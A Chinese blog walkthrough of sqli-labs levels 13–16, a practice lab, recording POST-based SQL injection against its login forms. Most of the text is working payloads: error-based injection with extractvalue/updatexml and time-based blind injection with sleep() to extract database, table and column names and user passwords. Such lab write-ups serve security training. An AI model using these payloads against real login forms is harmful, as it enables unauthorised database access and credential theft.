当前位置: 首页 > news >正文

SQL-labs13-16闯关记录

http://127.0.0.1/sqli-labs/less-13/

基于POST单引号双注入变形

1,依然是一个登录框,POST型SQL注入

2,挂上burpsuite,然后抓取请求,构造请求判断漏洞类型和闭合条件

admin' 发生了报错,根据提示闭合方式是('')

admin') # 不发生报错,说明闭合方式正是('')

3,然后就是判断数据表的列数

admin') order by 2 #

admin') order by 3 #

说数据表不存在第三列,那么数据表就只有两列

4,然后使用union select操作符判断回显点,发现没有反应。使用报错函数进行报错注入,爆出数据库名

1')and updatexml(1,concat(0x7e,(select database())),3)#

1')and extractvalue(1,concat(0x7e,(select database())),3)#

再爆出数据库下数据表名

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1')and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

整理得到数据表有emails,referers,uagents,users。然后再爆出users表的字段

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1')and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

然后再爆出用户名和密码

1')and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1')and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

这个时候就可以直接拿intruder模块进行爆破了

偏移量作为变量,字典选择0-9

爆破出password也是同样的操作

http://192.168.99.74/sqli-labs/less-14/

第十四关 基于POST双引号双注入变形

payload:

admin"

admin" order by 2#

admin" order by 3#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 1,1)))#

1"and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name="users" limit 2,1)))#

1"and extractvalue(1,concat(0x7e,(select username from users limit 0,1)))#

1"and extractvalue(1,concat(0x7e,(select password from users limit 0,1)))#

http://192.168.99.74/sqli-labs/less-15/

第十五关 基于POST数值型注入

本关没有错误提示,那么我们只能靠猜测进行注入。这里我直接从源代码中看到了 sql 语句

@$sql="SELECT username, password FROM users WHERE username='$uname' and

password='$passwd' LIMIT 0,1";

sql查询语句这里对 id 进行'id'的处理。

本关我们利用延时注入进行。正确的时候可以直接登录,不正确的时候延时 5 秒。

猜测数据库名长度为8(在burpsuite Intruder模块中8设置为变量):

uname=admin'and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

字典选取1-9

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

由此根据排列payload1的顺序就能得到数据库名

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

所以第一张数据表就是email,以此类推,递增改变limit 0,1当中的0就能爆破出所有的数据表名:emails,referers,uagents,users

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin' AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

所以第一个字段就是id,递增改变limit 0,1当中的0就能爆破出所有的字段,id,username,password

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

得到第一个用户名Dumb,同理可得,由此爆破出密码

uname=admin' AND If(ascii(substr((SELECT password FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://192.168.99.74/sqli-labs/Less-16/

同样的使用延时注入的方法进行解决。提交的测试payload(条件为真会5s延迟):

admin and if (1=1,sleep(5),0)

admin' and if (1=1,sleep(5),0)

admin') and if (1=1,sleep(5),0)

admin" and if (1=1,sleep(5),0)

admin")and if(1=1,sleep(5),0)

所以语句的闭合方式就是("admin"),区别于less-15

判断数据库名长度为8

uname=admin")and If(length(database())=8,1,sleep(5))#&passwd=11&submit=Submit

猜测数据库名第一位为s(ASCII表中a-z对应97-122):

uname=admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=11&submit=Submit

猜测数据表名第一位为e(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema='security' LIMIT 0,1),1,1))=101,1,sleep(1))#&passwd=11&submit=Submit

猜测数据库security下数据表users字段的第一位是否为a(ASCII表中a-z对应97-122):

uname=admin") AND If(ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_schema='security' AND table_name='users' LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

猜测 security 数据库下 users 表的 username 字段(第二个字段)的第一条数据的第一个字母是否为 'a'

uname=admin' AND If(ascii(substr((SELECT username FROM security.users LIMIT 0,1),1,1))=97,1,sleep(1))#&passwd=11&submit=Submit

http://www.lryc.cn/news/546706.html

相关文章:

  • 基于微信小程序的停车场管理系统的设计与实现
  • DAIR-V2X-R数据集服务器下载
  • table 拖拽移动
  • Linux使用笔记:Find Tree 命令
  • 数据结构入门篇——什么是数据结构。
  • MySQL-简介与基本命令
  • 汽车材料耐候性测试仪器-太阳光模拟器介绍
  • 音频3A测试--AEC(回声消除)测试
  • DeepSeek 助力 Vue3 开发:打造丝滑的弹性布局(Flexbox)
  • 六、Redis 高级功能详解:BitMap、HyperLogLog、Geo、Stream
  • WSL下使用git克隆失败解决
  • 【Elasticsearch】索引生命周期管理相关的操作(Index Lifecycle Actions)
  • TS的接口 泛型 自定义类型 在接口中定义一个非必须的属性
  • Collab-Overcooked:专注于多智能体协作的语言模型基准测试平台
  • 未来经济范式争夺战:AR眼镜为何成为下一代交互终端的制高点?
  • Mybatis实现批量添加
  • golang 内存对齐和填充规则
  • 【YashanDB认证】yashandb23.3.1 个人版单机部署安装实践
  • 安全渗透测试的全面解析与实践
  • 通俗易懂的分类算法之决策树详解
  • 【OpenCV C++】以时间命名存图,自动检查存储目录,若不存在自动创建, 按下空格、回车、Q、S自动存图
  • post get 给后端传参数
  • 数据仓库的特点
  • 任务9:交换机基础及配置
  • ArcGIS操作:07 绘制矢量shp面
  • 【AI深度学习基础】NumPy完全指南终极篇:核心功能与工程实践(含完整代码)
  • Golang语法特性总结
  • Java并发编程利器CyclicBarrier:从使用到源码深度解析,掌握多线程同步的艺术
  • 1.从0搭建前端Vue项目工程
  • 3D Web轻量化引擎HOOPS Communicator的核心优势解析:高性能可视化与灵活部署!